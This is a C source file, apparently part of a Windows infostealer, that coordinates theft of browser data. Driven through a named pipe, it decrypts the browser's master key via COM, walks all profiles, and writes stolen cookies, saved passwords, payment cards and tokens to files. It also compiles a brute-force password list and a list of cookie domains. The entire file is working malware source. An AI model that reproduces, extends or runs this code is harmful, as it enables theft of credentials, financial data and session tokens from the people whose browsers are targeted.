292 lines
9.2 KiB
C
Executable File
292 lines
9.2 KiB
C
Executable File
#include "orchestrator.h"
|
|
#include "browser.h"
|
|
#include "crypto.h"
|
|
#include "profile.h"
|
|
#include "extractor.h"
|
|
#include "buffer.h"
|
|
#include <Windows.h>
|
|
#include <ShlObj.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name) {
|
|
if (!config || !pipe_name) return false;
|
|
|
|
wcsncpy_s(config->pipe_name, 256, pipe_name, _TRUNCATE);
|
|
config->extract_fingerprint = false;
|
|
config->output_path[0] = L'\0';
|
|
|
|
config->pipe_handle = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE,
|
|
0, NULL, OPEN_EXISTING, 0, NULL);
|
|
|
|
if (config->pipe_handle == INVALID_HANDLE_VALUE) {
|
|
return false;
|
|
}
|
|
|
|
char buffer[MAX_PATH + 1];
|
|
DWORD bytes_read;
|
|
|
|
// skip first parameter then read fingerprint flag
|
|
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
|
|
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
|
|
buffer[bytes_read] = '\0';
|
|
config->extract_fingerprint = (strcmp(buffer, "FINGERPRINT_TRUE") == 0);
|
|
|
|
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
|
|
buffer[bytes_read] = '\0';
|
|
MultiByteToWideChar(CP_UTF8, 0, buffer, -1, config->output_path, MAX_PATH_LEN);
|
|
|
|
return true;
|
|
}
|
|
|
|
void orchestrator_cleanup(OrchestratorConfig* config) {
|
|
if (!config) return;
|
|
|
|
if (config->pipe_handle != INVALID_HANDLE_VALUE) {
|
|
const char* completion = "__DLL_PIPE_COMPLETION_SIGNAL__";
|
|
DWORD written;
|
|
WriteFile(config->pipe_handle, completion, (DWORD)strlen(completion), &written, NULL);
|
|
FlushFileBuffers(config->pipe_handle);
|
|
CloseHandle(config->pipe_handle);
|
|
config->pipe_handle = INVALID_HANDLE_VALUE;
|
|
}
|
|
}
|
|
|
|
static void extract_password_from_json(const char* json, StringArray* passwords) {
|
|
const char* pwd_tag = "\"password\":\"";
|
|
char* pos = strstr(json, pwd_tag);
|
|
if (!pos) return;
|
|
|
|
pos += strlen(pwd_tag);
|
|
char* end = strchr(pos, '"');
|
|
if (!end) return;
|
|
|
|
size_t pwd_len = end - pos;
|
|
char* pwd = malloc(pwd_len + 1);
|
|
if (!pwd) return;
|
|
|
|
memcpy(pwd, pos, pwd_len);
|
|
pwd[pwd_len] = '\0';
|
|
|
|
if (!string_array_contains(passwords, pwd)) {
|
|
string_array_add(passwords, pwd);
|
|
}
|
|
free(pwd);
|
|
}
|
|
|
|
static void extract_domain_from_netscape(const char* netscape_line, StringArray* domains) {
|
|
char* domain_end = strchr(netscape_line, '\t');
|
|
if (!domain_end) return;
|
|
|
|
size_t domain_len = domain_end - netscape_line;
|
|
char* domain = malloc(domain_len + 1);
|
|
if (!domain) return;
|
|
|
|
memcpy(domain, netscape_line, domain_len);
|
|
domain[domain_len] = '\0';
|
|
|
|
char* clean_domain = domain;
|
|
if (clean_domain[0] == '.') clean_domain++;
|
|
|
|
if (!string_array_contains(domains, clean_domain)) {
|
|
string_array_add(domains, clean_domain);
|
|
}
|
|
free(domain);
|
|
}
|
|
|
|
static void write_brute_file(const wchar_t* output_path, StringArray* all_passwords) {
|
|
if (!output_path || !all_passwords) return;
|
|
|
|
wchar_t file_path[MAX_PATH_LEN];
|
|
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Brute.txt", output_path);
|
|
|
|
StringArray* unique = string_array_create(all_passwords->count);
|
|
if (!unique) return;
|
|
|
|
FILE* f = NULL;
|
|
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
|
|
char line[1024];
|
|
while (fgets(line, sizeof(line), f)) {
|
|
size_t len = strlen(line);
|
|
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
|
|
if (len > 0) string_array_add(unique, line);
|
|
}
|
|
fclose(f);
|
|
}
|
|
|
|
for (size_t i = 0; i < all_passwords->count; i++) {
|
|
if (!string_array_contains(unique, all_passwords->items[i])) {
|
|
string_array_add(unique, all_passwords->items[i]);
|
|
}
|
|
}
|
|
|
|
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
|
|
for (size_t i = 0; i < unique->count; i++) {
|
|
fprintf(f, "%s\n", unique->items[i]);
|
|
}
|
|
fclose(f);
|
|
}
|
|
|
|
string_array_destroy(unique);
|
|
}
|
|
|
|
static void write_domains_file(const wchar_t* output_path, StringArray* all_domains) {
|
|
if (!output_path || !all_domains) return;
|
|
|
|
wchar_t file_path[MAX_PATH_LEN];
|
|
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Domains.txt", output_path);
|
|
|
|
StringArray* unique = string_array_create(all_domains->count);
|
|
if (!unique) return;
|
|
|
|
FILE* f = NULL;
|
|
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
|
|
char line[1024];
|
|
while (fgets(line, sizeof(line), f)) {
|
|
size_t len = strlen(line);
|
|
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
|
|
if (len > 0) string_array_add(unique, line);
|
|
}
|
|
fclose(f);
|
|
}
|
|
|
|
for (size_t i = 0; i < all_domains->count; i++) {
|
|
if (!string_array_contains(unique, all_domains->items[i])) {
|
|
string_array_add(unique, all_domains->items[i]);
|
|
}
|
|
}
|
|
|
|
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
|
|
for (size_t i = 0; i < unique->count; i++) {
|
|
fprintf(f, "%s\n", unique->items[i]);
|
|
}
|
|
fclose(f);
|
|
}
|
|
|
|
string_array_destroy(unique);
|
|
}
|
|
|
|
bool orchestrator_run(OrchestratorConfig* config) {
|
|
if (!config) {
|
|
return false;
|
|
}
|
|
|
|
BrowserConfig browser_config;
|
|
if (!browser_get_config_for_process(&browser_config)) {
|
|
return false;
|
|
}
|
|
|
|
wchar_t user_data_path[MAX_PATH_LEN];
|
|
if (!browser_get_user_data_path(&browser_config, user_data_path, MAX_PATH_LEN)) {
|
|
return false;
|
|
}
|
|
|
|
wchar_t local_state_path[MAX_PATH_LEN];
|
|
swprintf_s(local_state_path, MAX_PATH_LEN, L"%s\\Local State", user_data_path);
|
|
|
|
ByteBuffer* encrypted_key = get_encrypted_master_key(local_state_path);
|
|
if (!encrypted_key) {
|
|
return false;
|
|
}
|
|
|
|
ByteBuffer* aes_key = decrypt_master_key_via_com(
|
|
&browser_config,
|
|
encrypted_key->data,
|
|
encrypted_key->size
|
|
);
|
|
buffer_destroy(encrypted_key);
|
|
|
|
if (!aes_key) {
|
|
return false;
|
|
}
|
|
|
|
ProfileList* profiles = profile_find_all(user_data_path);
|
|
if (!profiles) {
|
|
buffer_destroy(aes_key);
|
|
return false;
|
|
}
|
|
|
|
StringArray* all_passwords = string_array_create(100);
|
|
StringArray* all_domains = string_array_create(500);
|
|
|
|
for (size_t i = 0; i < profiles->count; i++) {
|
|
ExtractionContext ctx = {
|
|
.profile_path = profiles->paths[i].path,
|
|
.output_base = config->output_path,
|
|
.browser_name = browser_config.name,
|
|
.aes_key = aes_key->data,
|
|
.key_len = aes_key->size
|
|
};
|
|
|
|
wchar_t profile_name[256];
|
|
wchar_t* last_slash = wcsrchr(profiles->paths[i].path, L'\\');
|
|
wcscpy_s(profile_name, 256, last_slash ? last_slash + 1 : L"Default");
|
|
|
|
wchar_t profile_output_dir[MAX_PATH_LEN];
|
|
swprintf_s(
|
|
profile_output_dir,
|
|
MAX_PATH_LEN,
|
|
L"%s\\%S\\%s",
|
|
config->output_path,
|
|
browser_config.name,
|
|
profile_name
|
|
);
|
|
|
|
SHCreateDirectoryExW(NULL, profile_output_dir, NULL);
|
|
|
|
StringArray* cookies = extract_cookies(&ctx);
|
|
if (cookies) {
|
|
if (cookies->count > 0) {
|
|
wchar_t out_path[MAX_PATH_LEN];
|
|
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\cookies.txt", profile_output_dir);
|
|
|
|
if (write_netscape_cookies(out_path, cookies)) {
|
|
for (size_t j = 0; j < cookies->count; j++) {
|
|
extract_domain_from_netscape(cookies->items[j], all_domains);
|
|
}
|
|
}
|
|
}
|
|
string_array_destroy(cookies);
|
|
}
|
|
|
|
StringArray* passwords = extract_passwords(&ctx);
|
|
if (passwords && passwords->count > 0) {
|
|
wchar_t out_path[MAX_PATH_LEN];
|
|
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\passwords.json", profile_output_dir);
|
|
write_json_array(out_path, passwords);
|
|
|
|
for (size_t j = 0; j < passwords->count; j++) {
|
|
extract_password_from_json(passwords->items[j], all_passwords);
|
|
}
|
|
|
|
string_array_destroy(passwords);
|
|
}
|
|
|
|
StringArray* payments = extract_payments(&ctx);
|
|
if (payments && payments->count > 0) {
|
|
wchar_t out_path[MAX_PATH_LEN];
|
|
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\payments.json", profile_output_dir);
|
|
write_json_array(out_path, payments);
|
|
string_array_destroy(payments);
|
|
}
|
|
|
|
StringArray* tokens = extract_tokens(&ctx);
|
|
if (tokens && tokens->count > 0) {
|
|
wchar_t out_path[MAX_PATH_LEN];
|
|
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\tokens.json", profile_output_dir);
|
|
write_json_array(out_path, tokens);
|
|
string_array_destroy(tokens);
|
|
}
|
|
}
|
|
|
|
write_brute_file(config->output_path, all_passwords);
|
|
write_domains_file(config->output_path, all_domains);
|
|
|
|
string_array_destroy(all_passwords);
|
|
string_array_destroy(all_domains);
|
|
profile_list_destroy(profiles);
|
|
buffer_destroy(aes_key);
|
|
|
|
cleanup_temp_files();
|
|
return true;
|
|
} |